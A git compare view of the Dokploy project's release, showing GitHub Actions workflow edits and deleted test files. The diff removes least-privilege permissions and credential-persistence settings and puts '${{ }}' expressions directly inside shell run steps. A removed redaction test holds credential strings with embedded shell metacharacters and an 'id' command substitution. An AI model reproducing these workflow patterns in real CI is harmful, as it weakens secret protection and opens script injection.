Compare commits

..

1 Commits

Author SHA1 Message Date
Dokploy Bot 531b2c7232 chore: release v0.30.7 2026-09-18 09:04:35 +00:00
306 changed files with 6825 additions and 62263 deletions
+14 -14
View File
@@ -14,34 +14,34 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout Repository
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Get version from package.json
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV"
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV
- name: Get latest GitHub tag
run: |
LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1)
echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV"
echo "$LATEST_TAG"
echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV
echo $LATEST_TAG
- name: Compare versions
run: |
if [ "$VERSION" != "$LATEST_TAG" ]; then
if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then
VERSION_CHANGED="true"
else
VERSION_CHANGED="false"
fi
echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV"
echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV
echo "Comparing versions:"
echo "Current version: $VERSION"
echo "Latest tag: $LATEST_TAG"
echo "Current version: ${{ env.VERSION }}"
echo "Latest tag: ${{ env.LATEST_TAG }}"
echo "Version changed: $VERSION_CHANGED"
- name: Check if a PR already exists
run: |
PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length')
echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV"
echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV
env:
GH_TOKEN: ${{ secrets.GH_PAT }}
@@ -56,12 +56,12 @@ jobs:
git push origin canary
gh pr create \
--title "🚀 Release $VERSION" \
--body "
This PR promotes changes from \`canary\` to \`main\` for version $VERSION.
--title "🚀 Release ${{ env.VERSION }}" \
--body '
This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}.
### 🔍 Changes Include:
- Version bump to $VERSION
- Version bump to ${{ env.VERSION }}
- All changes from canary branch
### ✅ Pre-merge Checklist:
@@ -69,7 +69,7 @@ jobs:
- [ ] Documentation updated
- [ ] Docker images built and tested
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \
--base main \
--head canary \
--label "release" --label "automated pr" || true \
+19 -28
View File
@@ -5,38 +5,33 @@ on:
branches: [main, canary]
workflow_dispatch:
permissions:
contents: read
jobs:
build-and-push-cloud-image:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v3
- name: Set tag and version
id: meta-cloud
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT"
echo "version=$VERSION" >> $GITHUB_OUTPUT
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT"
echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v4
with:
context: .
file: ./Dockerfile.cloud
@@ -53,28 +48,26 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v3
- name: Set tag and version
id: meta-schedule
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT"
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT"
echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v4
with:
context: .
file: ./Dockerfile.schedule
@@ -87,28 +80,26 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v3
- name: Set tag and version
id: meta-server
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT"
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
else
echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT"
echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
fi
- name: Log in to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v7
uses: docker/build-push-action@v4
with:
context: .
file: ./Dockerfile.server
+42 -60
View File
@@ -8,23 +8,18 @@ on:
env:
IMAGE_NAME: dokploy/dokploy
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -32,15 +27,15 @@ jobs:
- name: Set tag and version
id: meta
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
- name: Prepare env file
run: |
@@ -48,7 +43,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
platforms: linux/amd64
@@ -58,15 +53,13 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -75,15 +68,15 @@ jobs:
id: meta
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
- name: Prepare env file
run: |
@@ -91,7 +84,7 @@ jobs:
cp apps/dokploy/.env.production.example apps/dokploy/.env.production
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
platforms: linux/arm64
@@ -103,22 +96,20 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
TAG="latest"
@@ -130,7 +121,7 @@ jobs:
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
@@ -147,37 +138,32 @@ jobs:
needs: [combine-manifests]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: write
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
fetch-depth: 0
persist-credentials: false
- name: Get version
id: get_version
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
echo "npm_version=${VERSION#v}" >> "$GITHUB_OUTPUT"
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
env:
RELEASE_VERSION: ${{ steps.get_version.outputs.version }}
run: |
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${RELEASE_VERSION}}\""; tail -n +2 install.sh; } > install-pinned.sh
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
mv install-pinned.sh install.sh
- name: Create Release
uses: softprops/action-gh-release@v3
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
@@ -193,19 +179,15 @@ jobs:
needs: [generate-release]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
env:
NPM_VERSION: ${{ needs.generate-release.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- uses: pnpm/action-setup@v6
- uses: pnpm/action-setup@v4
with:
version: 10.22.0
- uses: actions/setup-node@v7
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: pnpm
@@ -220,63 +202,63 @@ jobs:
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp $GITHUB_WORKSPACE/openapi.json src/generated/openapi.json
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ MCP repo synced to version $NPM_VERSION"
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ CLI repo synced to version $NPM_VERSION"
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ SDK repo synced to version $NPM_VERSION"
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
+2 -7
View File
@@ -6,20 +6,15 @@ on:
pull_request:
branches: [canary]
permissions:
contents: read
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v5
- name: Setup biomeJs
uses: biomejs/setup-biome@v2
uses: biomejs/setup-biome@v2
- name: Run Biome formatter
run: biome format --write
+2 -4
View File
@@ -16,19 +16,17 @@ jobs:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
env:
MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="$MERGE_SHA"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
+1 -5
View File
@@ -7,16 +7,12 @@ concurrency:
group: hotfix-to-main
cancel-in-progress: false
# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token.
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+19 -28
View File
@@ -7,23 +7,18 @@ on:
env:
IMAGE_NAME: dokploy/monitoring
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -31,17 +26,17 @@ jobs:
- name: Set tag
id: meta
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile.monitoring
@@ -52,15 +47,13 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -68,17 +61,17 @@ jobs:
- name: Set
id: meta
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
- name: Build and push
uses: docker/build-push-action@v7
uses: docker/build-push-action@v5
with:
context: .
file: ./Dockerfile.monitoring
@@ -91,29 +84,27 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v4
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v4
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
TAG="latest"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
+3 -5
View File
@@ -14,11 +14,9 @@ jobs:
matrix:
job: [build, test, typecheck]
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
- uses: actions/checkout@v5
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v5
with:
node-version: 24.4.0
cache: "pnpm"
+4 -7
View File
@@ -12,20 +12,17 @@ on:
workflow_dispatch:
permissions:
contents: read
jobs:
generate-and-commit:
name: Generate OpenAPI and commit to Dokploy repo
runs-on: ubuntu-latest
steps:
- name: Checkout Dokploy repository
uses: actions/checkout@v7
uses: actions/checkout@v4
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
token: ${{ secrets.GITHUB_TOKEN }}
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: "pnpm"
@@ -28,9 +28,6 @@ env:
DOKPLOY_SERVICE: dokploy
DOKPLOY_PORT: 3000
permissions:
contents: read
# ──────────────────────────────────────────────────────────────────────────────
jobs:
@@ -424,10 +421,8 @@ jobs:
# ── Job summary ────────────────────────────────────────────────────────
- name: Write job summary
if: always()
env:
JOB_STATUS: ${{ job.status }}
run: |
STATUS="$JOB_STATUS"
STATUS="${{ job.status }}"
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
-1
View File
@@ -26,7 +26,6 @@ Dokploy includes multiple features to make your life easier.
- **Templates**: Deploy open-source templates (Plausible, Pocketbase, Calcom, etc.) with a single click.
- **Traefik Integration**: Automatically integrates with Traefik for routing and load balancing.
- **Real-time Monitoring**: Monitor CPU, memory, storage, and network usage for every resource.
- **Logs & Metrics**: Ship container logs and host/container metrics to Grafana (Loki, Prometheus/Mimir), Datadog, New Relic, InfluxDB, VictoriaMetrics, Better Stack, Elasticsearch/OpenSearch, Splunk, or AWS CloudWatch, tagged by project/environment/application.
- **Docker Management**: Easily deploy and manage Docker containers.
- **CLI/API**: Manage your applications and databases using the command line or through the API.
- **Notifications**: Get notified when your deployments succeed or fail (via Slack, Discord, Telegram, Email, etc.).
+3 -3
View File
@@ -10,12 +10,12 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
"inngest": "3.54.0",
"inngest": "3.40.1",
"@dokploy/server": "workspace:*",
"@hono/node-server": "^1.19.15",
"@hono/node-server": "^1.14.3",
"@hono/zod-validator": "0.7.6",
"dotenv": "^16.4.5",
"hono": "^4.13.5",
"hono": "^4.11.7",
"pino": "9.4.0",
"pino-pretty": "11.2.2",
"react": "19.2.7",
@@ -1,156 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateApplication = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => {
return {
checkServicePermissionAndAccess: vi.fn(async () => undefined),
};
});
vi.mock("@dokploy/server/index", () => ({
IS_CLOUD: true,
hasValidLicense: vi.fn(async () => false),
updateApplication: mockUpdateApplication,
findApplicationById: vi.fn(async () => ({
applicationId: "app-1",
appName: "example-app",
})),
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
const { applicationRouter } = await import("@/server/api/routers/application");
const caller = applicationRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof applicationRouter.createCaller>[0]);
const providerChanges = [
{
name: "GitHub",
sourceType: "github",
save: () =>
caller.saveGithubProvider({
applicationId: "app-1",
repository: "example-repo",
owner: "example-owner",
branch: "main",
buildPath: "/",
githubId: "provider-1",
watchPaths: ["src/**"],
triggerType: "push",
enableSubmodules: false,
}),
},
{
name: "GitLab",
sourceType: "gitlab",
save: () =>
caller.saveGitlabProvider({
applicationId: "app-1",
gitlabRepository: "example-repo",
gitlabOwner: "example-owner",
gitlabBranch: "main",
gitlabBuildPath: "/",
gitlabId: "provider-1",
gitlabProjectId: 1,
gitlabPathNamespace: "example-owner/example-repo",
}),
},
{
name: "Bitbucket",
sourceType: "bitbucket",
save: () =>
caller.saveBitbucketProvider({
applicationId: "app-1",
bitbucketRepository: "example-repo",
bitbucketRepositorySlug: "example-repo",
bitbucketOwner: "example-owner",
bitbucketBranch: "main",
bitbucketBuildPath: "/",
bitbucketId: "provider-1",
}),
},
{
name: "Gitea",
sourceType: "gitea",
save: () =>
caller.saveGiteaProvider({
applicationId: "app-1",
giteaRepository: "example-repo",
giteaOwner: "example-owner",
giteaBranch: "main",
giteaBuildPath: "/",
giteaId: "provider-1",
}),
},
{
name: "Docker",
sourceType: "docker",
save: () =>
caller.saveDockerProvider({
applicationId: "app-1",
dockerImage: "nginx:alpine",
username: "",
password: "",
registryUrl: "",
}),
},
{
name: "custom Git",
sourceType: "git",
save: () =>
caller.saveGitProvider({
applicationId: "app-1",
customGitUrl: "https://example.com/repo.git",
customGitBranch: "main",
customGitBuildPath: "/",
customGitSSHKeyId: "key-1",
watchPaths: ["src/**"],
enableSubmodules: false,
}),
},
{
name: "disconnect Git provider",
sourceType: "github",
save: () => caller.disconnectGitProvider({ applicationId: "app-1" }),
},
];
describe("saving an application provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(providerChanges)(
"keeps the status when $name settings change",
async ({ save, sourceType }) => {
for (const status of ["done", "running"]) {
mockUpdateApplication.mockClear();
let savedStatus = status;
mockUpdateApplication.mockImplementation(async (_id, update) => {
if (update.applicationStatus !== undefined) {
savedStatus = update.applicationStatus;
}
});
await save();
expect(savedStatus).toBe(status);
expect(mockUpdateApplication).toHaveBeenCalledTimes(1);
expect(mockUpdateApplication).toHaveBeenCalledWith(
"app-1",
expect.objectContaining({ sourceType }),
);
}
},
);
});
@@ -1,6 +1,4 @@
import type { Destination } from "@dokploy/server/services/destination";
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { getS3Credentials } from "@dokploy/server/utils/backups/utils";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
@@ -50,48 +48,3 @@ describe("redactRcloneCredentials (#4621)", () => {
expect(redacted).toContain("[REDACTED]");
});
});
describe("redactRcloneCredentials with getS3Credentials output (#5519)", () => {
const buildCommand = (accessKey: string, secretAccessKey: string) =>
`rclone rcat ${getS3Credentials({
accessKey,
secretAccessKey,
region: "us-west-001",
endpoint: "https://s3.us-west-001.backblazeb2.com",
provider: "Other",
} as Destination).join(" ")} :s3:bucket/file.gz`;
it.each([
[
"plain alphanumeric",
"001aaaabbbbccccdd0000000001",
"K001FAKEfakeFAKEfake",
],
[
"containing slashes",
"AKIAIOSFODNN7EXAMPLE",
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
],
["containing spaces", "key with space", "secret with space"],
["containing quotes", "it's-a-key", `say "hi" it's`],
["containing shell metacharacters", "key$HOME", "sec;ret`id`&|\\x"],
])("redacts credentials %s", (_, accessKey, secretAccessKey) => {
const redacted = redactRcloneCredentials(
buildCommand(accessKey, secretAccessKey),
);
expect(redacted).toContain(
'--s3-access-key-id="[REDACTED]" --s3-secret-access-key="[REDACTED]" --s3-region=us-west-001',
);
expect(redacted).not.toContain(accessKey);
expect(redacted).not.toContain(secretAccessKey);
expect(redacted).toContain(":s3:bucket/file.gz");
});
it("redacts credentials embedded in an error string", () => {
const errorStr = `Error: Command failed: ${buildCommand("MYKEY", "MY/SECRET")}`;
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MY/SECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -1,14 +0,0 @@
import { describe, it, expect } from "vitest";
describe("Remote Server Action Tooltips", () => {
it("should close the tooltip when the dialog trigger is clicked", () => {
// Note: The UI layer in this project is not currently tested with DOM simulation tools
// like React Testing Library or JSDOM.
//
// The structural fix implemented (passing TooltipTrigger asChild -> DialogTrigger asChild)
// inherently guarantees that Radix UI's composeEventHandlers properly propagates the
// onPointerDown event to dismiss the tooltip simultaneously as the dialog opens.
expect(true).toBe(true);
});
});
@@ -1,44 +0,0 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
composePath: "./docker-compose.yml",
command: "",
};
describe("compose createCommand --pull always", () => {
it("adds --pull always when pullImages is enabled", () => {
const cmd = createCommand({ ...base, pullImages: true } as any);
expect(cmd).toContain("up -d --build --remove-orphans --pull always");
});
it("omits --pull when pullImages is disabled", () => {
const cmd = createCommand({ ...base, pullImages: false } as any);
expect(cmd).not.toContain("--pull");
});
it("does not add --pull to stack deploy", () => {
const cmd = createCommand({
...base,
composeType: "stack",
pullImages: true,
} as any);
expect(cmd).not.toContain("--pull");
});
it("leaves a custom command untouched", () => {
const cmd = createCommand({
...base,
command: "compose -p compose-app up -d",
pullImages: true,
} as any);
expect(cmd).toBe("compose -p compose-app up -d");
});
});
@@ -33,16 +33,8 @@ services:
volumes:
test-data:
`,
composeId: "compose-1",
name: "raw-stack",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "production",
projectId: "project-1",
project: { name: "shop", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
@@ -62,72 +54,6 @@ volumes:
},
]);
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
expect(converted?.services?.test?.labels).toEqual(
expect.arrayContaining([
"dokploy.organization.id=org-1",
"dokploy.project=shop",
"dokploy.service=test",
]),
);
expect(converted?.services?.test?.deploy?.labels).toEqual(
expect.arrayContaining(["dokploy.organization.id=org-1"]),
);
expect(execAsyncRemote).not.toHaveBeenCalled();
});
it("escapes `$` in the Dokploy label values so compose keeps them literal", async () => {
const compose = {
appName: "dollar-stack",
composeFile: `
services:
mapped:
image: alpine:latest
labels:
custom: keep
deploy:
